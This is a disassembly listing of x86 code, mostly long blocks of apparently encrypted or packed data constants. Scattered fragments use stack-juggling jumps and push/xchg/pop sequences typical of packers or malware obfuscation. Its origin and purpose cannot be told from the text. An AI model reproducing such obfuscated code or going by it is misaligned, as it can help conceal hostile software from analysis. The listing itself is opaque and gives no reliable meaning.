dd 0FF14530Eh, 4004EB25h, 0E9330668h, 502h, 0DA6F0637h
dd 0D3680733h, 0CE63FE2Ch, 0C85DF827h, 0BE53EE21h, 1D500B23h
dd 1B48EF84h, 1446ED82h, 1545EC81h, 0B220ED82h, 95BA53C4h
dd 0B5879E43h, 0C269FC2Ch, 0D86D083Bh, 0D0660131h, 0CF16A4Dh
dd 5A8C70D2h, 233C26C7h, 32D96C9Ch, 4AE07FABh, 83BAC9Ah
dd 0B38649A3h, 59ECB0C9h, 0A13161CFh, 0A30842B3h, 0D7C58D49h
dd 49A30866h, 9C3DDEB1h, 0F7685606h, 4249A307h, 81B8C7Ah
dd 936649A3h, 5A0108F2h, 74F78D28h, 0BBDE2A6Eh
dd 2754E3E4h, 0F69DA48Eh, 38A31C4h, 801B49D6h, 0F89F40D9h
dd 4CFA448Dh, 4BF2871Ah, 9D57C1Bh, 49A39A9Bh, 0DA1C2A83h
dd 19AF17FBh, 8CE1h, 0FC2C4500h, 8BF6C269h, 0CB49A3F2h
dd 0D259009Fh, 0F15C03A2h, 0B39E9EA8h, 3FD204ADh, 49E41198h
dd 7E6809A2h, 2D31523h, 0D819AEC0h, 1, 65002C3Ch, 6C0B37BEh
dd 6AFD2DD6h, 8DBC0D01h, 412BA303h, 0F72A128h, 8392AAECh
dd 987DE363h, 7E3BA811h, 0F39C32D3h, 0F98027C6h, 0A79132CDh
dd 40D7078Eh, 55E21299h, 50E99023h, 906108AFh, 7ABA8686h
dd 6108A3D1h, 0B74E5D3h, 0ECBF49A3h, 3806614Bh, 0AE43E20Eh
dd 0AB40D707h, 68F92C39h, 810E3AC1h, 7710B752h, 0C57E2FD6h
dd 2816C67Bh, 49A3F2B7h, 44452F02h, 44EB8011h, 68EB8114h
dd 0E89079B8h, 9DC958BFh, 0D8C25B02h, 6F0A38BFh, 0F19A2AC8h
dd 0E13C26C1h, 0B39E257h, 4630C970h, 0AF72F8EDh, 58E219h
dd 2C460000h, 3AC168F9h, 6CA710Ch, 487BA573h, 0BA6A18ADh
dd 0A3F25BCCh, 0E9D3A649h, 751CB5E8h, 9026BFEEh, 0F281F2E0h
dd 0F9CC49A3h, 7558F60Fh, 0BDC025ABh, 521A19AEh, 42000000h
dd 0E8D26D99h, 68F92C1Ch, 7AB033C1h, 0EBAAE2FFh, 0D90B0CF6h
dd 0EC27973Eh, 30C1F422h, 2C299Bh, 274CCF65h, 29BAC795h
dd 45112A14h, 49A357D7h, 67D866BFh, 0CB67FBE4h, 0AB959739h
dd 0AFAE8352h, 0B5919h, 0D8810000h, 59F423ACh, 8E7811B8h
dd 19A225C2h, 13593D51h, 68969781h, 6F9F26CDh, 0EA84F5E3h
dd 0FCCF49A3h, 5349B45Bh, 0EA44B5A3h, 0BC8F49A3h, 7FA977D2h
dd 5821B651h, 20BDEAD0h, 0A93FE079h, 0A30141BBh, 0E2895C47h
dd 0F68C2B5Bh, 214F3573h, 67519AC1h, 0EE89B960h, 0EA107B47h
dd 2C67439Ch, 710434E2h, 720535DCh, 811444CBh, 0A93768EBh
dd 7FF5970Fh, 12CB7C95h, 4BEA1A04h, 0F1EB7B6h, 0FFA81FB6h
dd 2C8D34D3h, 6DCDEA6Dh, 4A34D563h, 13B56h, 820ABA00h
dd 184BF48Ah, 224FD67Dh, 0F0F8E283h, 4E4FBD40h, 0E86CBECFh
dd 220AB8FEh, 1EC747A2h, 756F59ECh, 4A929EDAh, 0EB7AEE16h
dd 0E07920BFh, 0E111983Fh, 8003B146h, 965D3DFDh, 42710068h
dd 7D6700A7h, 23B94C7Ch, 55148573h, 8C5F439Ch, 52FB89A2h
dd 9FA08A23h, 8031D86Fh, 1FC879C7h, 6B6C56F1h, 0E481AE3Bh
dd 6E03A43Dh, 0B65D666Fh, 3C741Fh, 0AD80000h, 0BF98F83h
dd 49A3F2EAh, 17AEDE87h, 0B960332Dh, 0A3F27CEDh, 41CFA049h
dd 0A43A2EB5h, 39971121h, 7B655D2Dh, 1E648573h, 3C0F49A3h
dd 2450F9A7h, 5F49E289h, 8B64h, 820ADA00h, 37D8699Ch, 0EE41B3A1h
dd 0C48C47A2h, 9CEE65D6h, 3CDDB043h, 47DE0E95h, 3CDB0BB2h
dd 0EE11C995h, 7DB8439Ch, 0A5D57EB3h, 0B6E46B12h, 3ADB741Bh
dd 881F4F50h, 0DEC245F3h, 77226A86h, 0D961846Eh, 75C84BE1h
dd 2D5AD596h, 7B22B3E6h, 4F5741E2h, 92529861h, 0D9805341h
dd 0ED832252h, 90A7B86Ah, 87F08440h, 370CAC7Ah, 0DCF5DF3Ch
dd 0E1E2871h, 8EFFC686h, 0BCC238Fh, 1DE6D46Ah, 0CA3B8465h
dd 6E58F321h, 9A0CA174h, 0F48A820Ah, 0AA1FC144h, 0C52B49A7h
dd 0A35080F1h, 0EF8CB49h, 80D35606h, 0DA37E6AAh, 662F755Fh
dd 214799D7h, 0F020A74Eh, 0E919C055h, 6ADBA74Eh, 71708DF0h
dd 36DF50DEh, 32CB7203h, 80174748h, 0DB4C3AEAh, 260E8D50h
dd 0BB626953h, 0BE45EC8Bh, 0E44FF68Fh, 7C1745EEh, 3FE93792h
dd 35E3780Fh, 50269785h, 9E710E8Dh, 9FD42F35h, 432D9FE1h
dd 0CC731242h, 0D4Bh, 405EC100h, 0F231A290h, 0A97C49A3h
dd 0FB2CF3BFh, 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah
dd 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h
dd 648Dh, 24048F54h, 4240483h, 5E08950h, 4, 8704E883h
dd 895C2404h, 0A682404h, 8900006Eh, 0F5682434h, 58060E38h
dd 24348B54h, 6804C483h, 1C3Ch, 8F240489h, 348B0846h, 0E0895024h
dd 405h, 40500h, 4870000h, 48B5C24h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_544543
; ---------------------------------------------------------------------------
db 5Bh, 8Eh, 0F4h
dd 84B8819Eh, 3060E3Dh, 75E0FFC5h, 8933B7BAh, 62665AF1h
dd 6B63B956h, 553ACA74h, 5C2185CFh, 6A2CA944h, 0D1371A7h
dd 0D90BF23Ah, 0E91F6A99h, 9B37EFCDh, 991DAFCFh, 267920B3h
dd 0B30FB442h, 754E4158h, 0C039BE07h, 5B3440B8h, 0EB11D222h
dd 1370A104h, 53CE91Eh, 0ACDD0000h, 0B1DD8419h, 0ACDA8116h
dd 0A6D57C11h, 9CCF760Bh, 0C1D97409h, 0AD42D306h, 0A73CD906h
dd 9E33CE00h, 9B30C7F7h, 17260CEh, 4C4395B4h, 75256335h
dd 0A3F21687h, 0A48E6149h, 0B6E673A3h, 50D77E1Fh, 45EE841Dh
dd 8C937D18h, 7B22B5E5h, 8A31C4F4h, 0A238D703h, 4832CDF9h
dd 4ED86B2Fh, 8015B0E0h, 0BBB24FD2h, 5872E014h, 9783B7EFh
dd 56408BD6h, 95C82355h, 0AF81F5ABh, 0DC8318B9h, 0E97017AAh
dd 9C0333BCh, 0E16614E6h, 0EB8C2D7Eh, 8690D944h, 36CB6698h
dd 21C85F8Fh, 0B6F51093h, 2830EE55h, 0A88AF83Eh, 197249A3h
dd 0A0CC90Fh, 73CE19AFh, 0F6000000h, 9E881B4Dh, 507C25D2h
dd 0BA5AD8EDh, 0D273BD3Bh, 0A7A8922Bh, 6D39E077h, 49A33C02h
dd 0D37A1342h, 0E2891C4Ch, 2DE93772h, 995FE942h, 19AF763Ch
dd 19Eh, 2C0200h, 0F2118270h, 895C49A3h, 77A952E8h, 52D9F2DCh
dd 59E08726h, 24E88F2Ah, 326761E4h, 25DEF9EFh, 0E156E03Bh
dd 816B0638h, 24B95480h, 24BA4D7Dh, 5D21FDA1h, 624CDEC2h
dd 0F92CE95Bh, 0E3AC168h, 5A56D96Fh, 68980EEAh, 0F67D9680h
dd 872EC7h, 23933AD3h, 25DE5EE8h, 4174A26Ch, 44741BB0h
dd 55830AB1h, 57EA1CC5h, 0D24317B0h, 1D49A3D6h, 782C1082h
dd 51F2A942h, 3F711AB0h, 0D97679DCh, 23C4034Ah, 2FC2F57Ch
dd 0BF4EEF88h, 0B54EF590h, 3114B2CBh, 5C8932E7h, 61931AC1h
dd 0E23B25C6h, 19AF3B03h, 58F9h, 83712100h, 49A37B12h
dd 0C8FB8A5Dh, 2C77432Dh, 3AC168F9h, 6CA710Ch, 487BA573h
dd 0F259CAB8h, 6B9D49A3h, 5D8F50D8h, 0E98A23CAh, 0D90CB348h
dd 0EB1AA148h, 2A0DAB52h, 0BE0BDA1Ch, 41F119AEh, 55000000h
dd 0C168F92Ch, 0C66D083Ah, 1C0D1B56h, 0BAA44373h, 56EB86B9h
dd 65002CE4h, 0F284F2BEh, 96C849A3h, 9C43DE0Dh, 34BB6203h
dd 43CA7104h, 0C3FE7611h, 75CEB975h, 0BFB025ABh, 12A19AEh
dd 8E000000h, 0BC63FE2Ch, 0CB720535h, 1F091760h, 13C156F1h
dd 0E4F68490h, 26106188h, 0ED837B03h, 947E1744h, 6249E8Ch
dd 6C3F47A3h, 66012DD6h, 679726BFh, 0A69029D0h, 51D6068Dh
dd 0CEFA8924h, 4EEF882Fh, 43E212B9h, 38650E9Ch, 46DF0E9Dh
dd 0D61C069Fh, 439CD66Bh, 0C1F17EABh, 45E67F26h, 52E5179Eh
dd 0E53304ABh, 0A876B129h, 22B74E7Eh, 5AC4B7Bh, 0A3EF4E7Eh
dd 0E3CC03CFh, 2FD06194h, 5A48F88Eh, 439CD4E9h, 5E776134h
dd 0D7C447ADh, 0C6C037BDh, 9FA904EEh, 180D27AAh, 7F694F41h
dd 0D1649495h, 0DA983D3Ch, 7421FB5h, 6A000001h, 0F1CB5DE7h
dd 856A2400h, 23A00919h, 2B682322h, 0EB4B43EEh, 0A94604Ah
dd 6F48A82h, 47A2FA58h, 0ABA5023h, 9CE9AB1Ch, 3923F643h
dd 470F9220h, 48B5278Ch, 46767761h, 43731AAFh, 4676FDA4h
dd 9E5708AFh, 0DF76A690h, 0FA8A4B4Ah, 33501FB5h, 0B4000000h
dd 0F98F830Ah, 0A3F2EA0Bh, 2CC29549h, 58EE5183h, 0A828381Bh
dd 0C4DDC768h, 0A3D987F8h, 4CDAAB49h, 0AF4539C0h, 0A3D9A0C1h
dd 0E3784B49h, 8142h, 820AB800h, 0C144F48Ah, 8E53C5F3h
dd 0D01600AEh, 47A2175Eh, 0A12FD6A9h, 8A31CCF8h, 0D60607F1h
dd 0D303AA3Fh, 9C18D34h, 99439C17h, 9D24CB66h, 0C030D76Ah
dd 37BBB85h, 0A0D07EC8h, 1FA77005h, 0BCE89127h, 7F2F3721h
dd 250FA6D6h, 9208B0DFh, 0FDA47741h, 19AF4676h, 53BCF396h
dd 0B9A5024h, 39523CDBh, 6BBB85CEh, 0A555EBE3h, 4D37CAFCh
dd 831FD807h, 37CC9F3Bh, 76400689h, 0CD0A450h, 820A5622h
dd 1B4BF48Ah, 9C8A927Ch, 4799E46Dh, 22CB6134h, 19B259F4h
dd 5F8F162Fh, 0B474E5D3h, 0ECBF4395h, 0DA0CB54Bh, 1D07A047h
dd 0A83F6F16h, 9CCA7301h, 0D7C15A01h, 9AA17B91h, 55DD0F5Bh
dd 787FF667h, 0CD6E412Bh, 0D4739F26h, 0AF79C22Dh, 610A36Fh
dd 6A58E818h, 2B787FF9h, 98C12E63h, 8911FE21h, 62804DB6h
dd 81280DE2h, 74A44BE0h, 84B33AE1h, 89BB42E9h, 93C047EEh
dd 0FC8F53FAh, 367FF232h, 770E3EE8h, 18434E2h, 3972E3E8h
dd 0A011E564h, 0EB2B7815h, 0FD2D2E18h, 0F92BD46Ah, 0FD30B75Eh
dd 0C0D9C364h, 33Fh, 7C5EB500h, 0C36AFB2Ch, 0D2790C3Ch
dd 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah, 1A84170h
dd 0AB14C7Ah, 11B85783h, 20EC6867h, 1C890000h, 81E38924h
dd 4C3h, 4EB8300h, 5C241C87h, 758368h, 24148900h, 2B0668h
dd 242C8900h, 27386850h, 5582BECh, 5DF7BC7h, 9E434E25h
dd 0A8B95146h, 0F76AE44Bh, 0D9F749D9h, 5430F181h, 0C831108Ch
dd 20780559h, 0C2898B2Ch, 4EC8358h, 83242489h, 5D042404h
dd 24348152h, 6FEE7731h, 5108458Fh, 8B9h, 81E90100h, 0EE773131h
dd 2C8B596Fh, 0E2895224h, 4C281h, 0C2830000h, 24148704h
dd 2434FF5Ch, 4C4835Ah, 0F939FEE9h, 0E4163AFFh, 0EEB8ABD8h
dd 3060E42h, 12E0FFC5h, 773F8257h, 962FDB58h, 2D79D1A8h
dd 0D9777616h, 49413A79h, 0C561936Dh, 9D36C5B1h, 0F16DFBF5h
dd 3221B401h, 56129A5Eh, 0B4711D9h, 0A45AA370h, 0E44CD9DEh
dd 4670EF41h, 636CF223h, 7A768728h, 146424F8h, 3D265D73h
dd 0E564ABC8h, 5219F35h, 0D7571BCDh, 0FC7F15FFh, 5250BFA2h
dd 728ACFFh, 8D3C1DE8h, 0E44BF8Dh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0EC84973Ch
dd 0D98D89B3h, 6606071Ah, 0F777F781h, 101D85C7h, 58140607h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 47C031C3h, 0BFEA8149h, 5002FF47h, 0A7B86660h
dd 0B1C7BA96h, 5A611F81h, 0EE1E92BBh, 585C71Fh, 60733h
dd 51000000h, 23A5858Bh, 8B5B0607h, 72F999Dh, 31B5FF06h
dd 8B06072Dh, 72D2585h, 5995FF06h, 6A060718h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 9234C355h, 0DF91E776h, 6A693A27h, 6995FF00h, 8B06070Dh
dd 60AEBC0h, 11FD0733h, 0A93F90Bh, 4604EB9Fh, 0E9063C3Dh
dd 53Dh, 0EE832253h, 0E77C1B47h, 0E2771240h, 0DC710C3Bh
dd 0DA6F0235h, 396C273Fh, 3F6C13A8h, 386A11A6h, 3161089Dh
dd 0C6340196h, 95AE67D8h, 0C99BB243h, 0D369FC2Ch, 3B059B50h
dd 7F1EFBDh, 0AC3467EEh, 0A35E4DBEh, 36C59849h, 36CB6C09h
dd 32C85F8Fh, 25BB5689h, 0A35EC637h, 543E1149h, 2984B43Bh
dd 0F3CFEE8h, 0CD36CF76h, 0DD7E9E14h, 0D76E9E47h, 97811C48h
dd 2CCBF77Eh, 27BAED96h, 719D243Dh, 7AA82FD6h, 0C09138DFh
dd 57EAB676h, 982F5FC9h, 972A5C03h, 7DAB5402h, 1B8EFFEDh
dd 6D949A3h, 0D0F0FC65h, 1C4FF470h, 64FF3132h, 0A40936BDh
dd 879709B7h, 670EAF31h, 6D14ADE0h, 751CB9E6h, 26101EB1h
dd 47BA5BFAh, 0D40630FEh, 0E4852053h, 0DD78A84Fh, 4DFC6A36h
dd 0DEE449A3h, 86700335h, 0FADB1D2Bh, 0E019AF63h, 67h
dd 69FC2C44h, 0F28BF6C2h, 9FCB49A3h, 0A6D25900h, 99C6007h
dd 0E14FF3Fh, 0F1FF705Eh, 774A49A3h, 0E2E4328Dh, 19AEBFF3h
dd 1E9h, 2C4D00h
dd 0B37BE65h, 0FD2DD66Ch, 402AC36Ah, 0D871A027h, 842D6D31h
dd 4154BD58h, 8457B187h, 0F4429D87h, 0EA7F1E4Ah, 0FAC1343h
dd 77B86F46h, 76ECAA9Eh, 0CF23670Dh, 2C27992Eh, 29D268F9h
dd 1EB75EF9h, 0E48D1B34h, 0DF781FB2h, 38C8F4F5h, 0A3F2D94Ah
dd 0B0512449h, 919F5809h, 4CE174A7h, 0C4F475A5h, 0D3038A31h
dd 53F48D34h, 56840BB2h, 937614BBh, 0BEA24385h, 725819AEh
dd 0BC000000h, 4C7AF92Ch, 0D0710AB1h, 0C35E913Ah, 826C0534h
dd 0FF32DB69h, 3C26BF66h, 0CB720D3Bh, 0EF1EC707h, 0AD16AF56h
dd 0EDB0854Eh, 0D02B1572h, 0CA5D846h, 49DD077h, 19A7D65Dh
dd 0A3E2BA2Bh, 37CEFE49h, 943BDCAFh, 0C30513F6h, 19AECE22h
dd 3AD8h, 0F92C3C00h, 8AF4E7Ah, 8F38CE6Fh, 831CC362h, 452FC2F4h
dd 0E073A52Ch, 808EC939h, 3DD26396h, 77002CCBh, 680FB047h
dd 0A3F22E9Ch, 73BD1649h, 0AEC0686Dh, 17219h, 2CD60000h
dd 0B24575FEh, 2AD1720Bh, 0B3E673A3h, 6FDA8122h, 0AA3D079h
dd 85E0CA63h, 0C45F8DBBh, 1EDE662Fh, 62FC9B5Ch, 0D3690A49h
dd 0A24E6BE5h, 18C87847h, 9C1EB92Ah, 5D310443h, 439C1DECh
dd 91E8DD56h, 75FD5715h, 0EBBEB8A2h, 0DD0DB644h, 0ED942D5Ch
dd 0C8C9B354h, 0C168FD98h, 0C14FF691h, 3264EB18h, 0BE5FF89Fh
dd 4E947E17h, 439CC6E3h, 0BECF523Ah, 32CBFAAAh, 0BF89F28Bh
dd 6563C74Ch, 99495E3h, 15237E68h, 0C65CFB2Bh, 705AED1Dh
dd 0F392C269h, 0EB50DA5Dh, 7F40CFF8h, 0C5F57C95h, 0D4048B32h
dd 41ED5E4Ch, 6538439Ch, 67961DC4h, 0BD7627CEh, 41FAB373h
dd 7E1949F7h, 6FEBEAE9h, 40F11FB6h, 55000001h, 0F48A820Ah
dd 0A2FA5806h, 6D5B2347h, 439CE8FCh, 2CD37447h, 4DE275A5h
dd 0C4F176A6h, 48E98229h, 83EA1AA1h, 0DBDAFE6Ch, 92C453C9h
dd 1EBF58FFh, 30DC677h, 3464E515h, 374DBEACh, 0C598439Ch
dd 0EFEE8324h, 1FB67AE6h, 64F4h, 830A5800h, 0A049F98Fh
dd 0A4EAD46Dh, 49A3F283h, 11827020h, 5C49A3F1h, 0D2A59F89h
dd 0F0EE5F2Bh, 411249A3h, 0ACA027F7h, 77319316h, 7565BD15h
dd 23D3838Bh, 0A3D3C435h, 0A63C0F49h, 0A3D347B8h, 0D5BF9249h
dd 0A3D36E8Fh, 0C1880B49h, 7F4EC94Ah, 0C99C9680h, 24958333h
dd 6F49A302h, 0AABB29Ch, 8Fh, 8A820A80h, 0E55644F4h, 4F49A3F1h
dd 7F65D701h, 0CE8F17B8h, 7A6405A0h, 41128472h, 8A5D47A2h
dd 0E55644F4h, 30439C40h, 8DD1DD95h, 13B4038Ah, 59891029h
dd 3FE04FF6h, 6E0FFFC7h, 630232D9h, 93AB2EBCh, 0AC42B3ABh
dd 843C826Ch, 2B439CCDh, 0C8F826F0h, 0CE75103Fh, 36FF9435h
dd 3220B6AEh, 41930895h, 3FC66D40h, 66D1780Fh, 7B03131Dh
dd 25CC6795h, 6755EB8Ch, 3B84C3CAh, 0F68FBE67h, 0A93F120Ch
dd 4D37D200h, 0C0EF9846h, 0A6F3B25h, 6F48A82h, 479A2E69h
dd 0C9A4114h, 0ACFD6E5Ch, 75484395h, 0BB5A8A8Bh, 0B84F7F26h
dd 0D6974511h, 8B1E43C7h, 0C46393BDh, 0BD58882Fh, 0C5608F16h
dd 0DC6AB31Eh, 0EA34272h, 0F9A03767h, 0C78h, 802FB200h
dd 0E565E61Dh, 5EFBC7B1h, 6AFB2C7Ch, 790C3CC3h, 7E194BD2h
dd 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h, 0B14C7A01h
dd 0B857830Ah, 89566711h, 16BD55E6h, 8115DD2Bh, 0B05AC4EDh
dd 4EED8159h, 1BC2CD0h, 0EE835DEEh, 24348704h, 0E089505Ch
dd 405h, 42D00h, 4870000h, 1C895C24h, 0E0895024h, 405h
dd 42D00h, 4870000h, 14895C24h, 0D6BA5224h, 0BB118818h
dd 0F4862C03h, 148BD301h, 4C48124h, 81000000h, 4ECh, 24248900h
dd 4240481h, 5A000000h, 471568h, 242C8900h, 6A89DD89h
dd 148B5D08h, 0E0895024h, 405h, 40500h, 4870000h, 34FF5C24h
dd 0C4815B24h, 4, 0F93372E9h, 239685FFh, 4973B8EDh, 0C503060Eh
dd 0FB51E0FFh, 0E8227AEh, 68171AE4h, 736D1D29h, 9693D84h
dd 0D10518B2h, 8BA33BEDh, 0DA981185h, 9085A42h, 1E4F7005h
dd 0FA3C5EE3h, 3D50652Ah, 466F7E45h, 3F192955h, 34D0204Ah
dd 0FC554246h, 0ABB32E1Dh, 20523738h, 0AB445EADh, 23A62E38h
dd 8DE65EB1h, 240F4FC1h, 0B4B276FAh, 4D426C52h, 2C930AB6h
dd 37253316h, 4EB4FDAh, 6FC0990Ch, 58EE9h, 0CC699A00h
dd 0C9649037h, 0C45F8D34h, 0C059882Fh, 0C051842Bh, 0BD78902Bh
dd 0BB62F78Ah, 0B35AEF8Eh, 0AA51E681h, 7946DB7Ah, 0A8AC1D0Bh
dd 0E0F74395h, 0E4A2250Eh, 6CE264C7h, 0E788194Ch, 71CCFCFDh
dd 79EC818Ah, 5900A1FDh, 71069FD2h, 54FB9ACAh, 630A9DCDh
dd 0F827B0DCh, 0FCA3426Fh, 821BC263h, 0E3763AE1h, 93BE455h
dd 79EAD86Eh, 0C449A37Bh, 0D60607F1h, 0D103AA3Fh, 0C8FAA136h
dd 0D2FF862Dh, 0D87F1245h, 8CF79E3Fh, 194BF543h, 4665E87Eh
dd 45F10854h, 89303721h, 4B17BE59h, 49A333DDh, 1CA26CC5h
dd 19AF7EB9h, 8E23h, 0FC2C8700h, 0F2158674h, 265949A3h
dd 0C34BE48Bh, 1AA84FF0h, 0F20B7C6Ah, 0BB5649A3h, 0F0866D20h
dd 9D872817h, 0A3A4EC57h, 66FF2C49h, 6D0838BFh, 0D1B56C6h
dd 9D202611h, 95317631h, 78D3BDBEh, 66AD28AEh, 12F19AFh
dd 93000000h, 0B5507C25h, 8A8B750Eh, 0D20F75Eh, 7BF3D386h
dd 0FCA533DAh, 0F79037CAh, 45E00C0Dh, 0FC7CFFAFh, 76915C8Eh
dd 3D44519h, 4C1F49A3h, 93C24962h, 0FC8F53FAh, 4FD80432h
dd 4AE38A1Dh, 3D6D14A9h, 2CA315AAh, 791FA0F9h, 0D039D401h
dd 882942F9h, 8F2E5AE1h, 882150F9h, 455E48E1h, 0E34DDB94h
dd 0D98015B0h, 7B6919A9h, 49A3BA0Ah, 3DAE8255h, 8849A3BAh
dd 0DF6D14B5h, 0BAD0412Fh, 481B49A3h, 44EB86B9h, 92C0C1ABh
dd 0C3B161F7h, 49A3BA52h, 4634CA9Dh, 49A3BAD5h, 4A634D20h
dd 797FC9ACh, 19AEF66Ch, 8F8Eh, 0F92CF200h, 8AF4E7Ah, 0A027CE6Fh
dd 9841D772h, 0CAE3CD68h, 7BA57306h, 6A18AD48h, 140292C1h
dd 49A3F2A3h, 907A1BEEh, 22C95C8Fh, 3BD16C9Bh, 0F22C9D8Bh
dd 0A47749A3h, 7303A1BAh, 7B491BF0h, 13FDA751h, 7D686EB8h
dd 4B19AF5Ah, 31D875A2h, 37E68FD0h, 0AF50AE26h, 50D1C5h
dd 50F90000h, 2FA08E1Eh, 7A49A35Bh, 0C65F06A7h, 0F92C10DCh
dd 0DAE477Ah, 0EC55D866h, 700938EAh, 31A0E507h, 93144647h
dd 7C23C463h, 0D947D10Ch, 4760BA6h, 0BE65002Ch, 0A3F284F2h
dd 5136C49h, 0A23D6B14h, 1F7862FBh, 19AEBFB6h, 124h, 0FE2C8800h
dd 535BC63h, 16BD5884h, 27BEEE7Dh, 9F46E780h, 0F35DEB34h
dd 0CC952AC5h, 962F5E44h, 1FB556EFh, 0C2AC4976h, 0B15A0ABAh
dd 0A415E984h, 0EF49A3F2h, 8CCCB31Ch, 471F073Ah, 759D175Dh
dd 0E5B847A2h, 0F087B73Eh, 0F184B45Bh, 45137E4Ah, 2F6A439Ch
dd 700737E1h, 830434DBh, 79ACC55h, 971EC566h, 7829D067h
dd 97C771BFh, 696C6B00h, 731FB66Dh, 16Bh, 8A820AD7h, 689B44F4h
dd 0EF9DE3CDh, 0BA47A2F9h, 89B940E7h, 82B259EEh, 85B53CE3h
dd 0BDD95CF2h, 0FBAB2D2Ch, 1FD0E9D3h, 49E410B9h, 53A045Fh
dd 0E37EAC55h, 9C7E9E0Fh, 0FC28E943h, 8021BA61h, 0D2659596h
dd 34973E3Dh, 0AE311FB6h, 0F6079EA7h, 42362066h, 60h, 0C7830AA6h
dd 0ECCF083Fh, 23B95A7Bh, 0A2FE1435h, 0D808B149h, 8659533Dh
dd 7CA851DFh, 40B1F7E1h, 6449A2FDh, 0CDD863E6h, 0EA912C58h
dd 7D76E851h, 43E47DB0h, 0FB4EBFADh, 0C69949A2h, 67B781DCh
dd 6856ECE0h, 49A2FB47h
dd 0DC8A1FF2h, 0FACD3E2Ch, 571849A2h, 52EB9225h, 0B4CCC7B1h
dd 42000000h, 16877525h, 6149A3F2h, 0F981A48Eh, 0B7D6B01h
dd 4847A2EEh, 0EE39AA98h, 0B184439Ch, 1705CDC7h, 439CEEA6h
dd 0D67D1EF1h, 0F3881F4Fh, 0D66F9C45h, 0DE6BCE2Fh, 9860B60Bh
dd 9F3A68F7h, 0F184B4B5h, 17C67E4Ah, 2A56439Ch, 2E5DE48Bh
dd 7445EC93h, 0AF26AAAh, 6EEBD887h, 3E28EF00h, 3BE455E3h
dd 83846E09h, 561FB453h, 2DBBE8CEh, 9CACCE3Fh, 0A5461943h
dd 0AD4EE716h, 0F2432917h, 0AB7E4192h, 0BA4D7D04h, 2B2A813h
dd 8E62A314h, 311BEE3Dh, 34BC48D6h, 32BC214Eh, 754FB244h
dd 1C4FDE7Fh, 0A849E289h, 0A03B6912h, 0DAC0AEB6h, 153B84ABh
dd 0A3BAD42h, 6F48A82h, 479A3820h, 3EAF9D4Dh, 894395A8h
dd 0AD2CCB6h, 95A8AB1Ch, 0D75BF643h, 13B88FD1h, 7D24C566h
dd 931446EFh, 3C26C766h, 0D76C0B3Bh, 0B5508029h, 8A8B750Eh
dd 67D8C65Ah, 0A44395E9h, 95E945B6h, 35BD9043h, 4E1AC162h
dd 2BCBB120h, 150A14A7h, 0B2D6B92h, 0C3AD1D61h, 5DF392C2h
dd 3ED88B4h, 922555FCh, 9C3564EBh, 95305D06h, 0D80B92ABh
dd 0E30F963Dh, 75049D44h, 4206AD48h, 32A561AFh, 0C1F15FE9h
dd 0BAEA9126h, 3F3741Bh, 69000000h, 0FB2C7C5Eh, 0C3CC36Ah
dd 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh
dd 4C7A01A8h, 57830AB1h, 506711B8h, 405E089h, 83000000h
dd 43304E8h, 24043124h, 5C240433h, 2C9F68h, 24348900h
dd 699A68h, 24048900h, 720DFEBEh, 0D7B95169h, 814C4E48h
dd 0F34FE3E9h, 0C1D9F730h, 0E98108E1h, 973F9A91h, 8159CE09h
dd 334F6DE6h, 0C1DEF752h, 0F68104EEh, 0DF281BBh, 24048B54h
dd 4C481h, 0EC810000h, 4, 8F243489h, 48B0840h, 0E7895724h
dd 4C781h, 0C7830000h, 243C8704h, 24348B5Ch, 81E28952h
dd 4C2h, 4C28300h, 5C241487h, 0F92D72E9h, 91D055FFh, 0CE905D72h
dd 41D2F0BBh, 0B8E442BDh, 60E4F7Ch, 0E0FFC503h, 7C6345Fh
dd 6156294h, 30C66712h, 1A0D88A7h, 4B08EA24h, 77A1B491h
dd 1B3327Eh, 4D231AE9h, 7FFC96C2h, 50DD8D8Dh, 0BD8B060Eh
dd 6072CFDh, 1AD98D89h, 58BE0607h, 0C7542F71h, 7101D85h
dd 5AD006h, 6810F00h, 81000000h, 8EE525D2h, 0FD858B78h
dd 0C7060721h, 7330585h, 6, 0B5FFF800h, 6071171h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D6C35343h, 0AB0AD733h
dd 1212A11Ah, 0BD8BF565h, 6070C85h, 185995FFh, 0EE90607h
dd 0BB000000h, 24E06C55h, 0A7EFC728h, 0D514127Bh, 0FF006A50h
dd 70D6995h, 0EBC08B06h, 22069A39h, 0AD66B2ABh, 1795F45Bh
dd 0B222656h, 0FBE2D070h, 0A20D7DFDh, 3B5748EFh, 8285E7DAh
dd 0D95CA43h, 29243FCAh, 0C2C5EC76h, 7A79B36Ah, 0C40D1722h
dd 5571F845h, 4EB71DAh, 4DAFBC92h, 62AE9h, 40D50600h, 3DD804ABh
dd 38D301A8h, 34CDFCA3h, 2CC5F89Fh, 29E4FC97h, 1FC65BF6h
dd 17BE53F2h, 16BD52E5h, 0EDBA4FE6h, 0A120917Fh, 546B4395h
dd 37A89646h, 824395A1h, 2CF9C5AFh, 158674FCh, 6049A3F2h
dd 0BE45EC8Dh, 2F5C058Bh, 0F251C296h, 639549A3h, 89029D0h
dd 58FF9435h, 5FE68D28h, 0F077AA2Fh, 0E47D24BDh, 74FBA243h
dd 4206AD48h, 0B061AFh, 0A3F2A112h, 8A19EC49h, 0D3D4BE57h
dd 0C16F04A3h, 0F2B22311h, 0C9F649A3h, 0E7D1A42Ch, 133B4E6h
dd 8526BF66h, 7C1749F0h, 964563E6h, 0BF954F11h, 0AB2EBCD5h
dd 0DC0C3014h, 0DD1BE049h, 0F65B1A83h, 1A87340Bh, 63022F30h
dd 5FF224CDh, 0A8F15C75h, 1B7EB09Eh, 6C7A89Fh, 1AAF5062h
dd 0EA44373h, 16FF705Eh, 824A49A3h, 0A3172394h, 0FA9B6E49h
dd 0C069F710h, 0BA53FA93h, 171C8AD0h, 0AB0449A3h, 9B7A5B9Dh
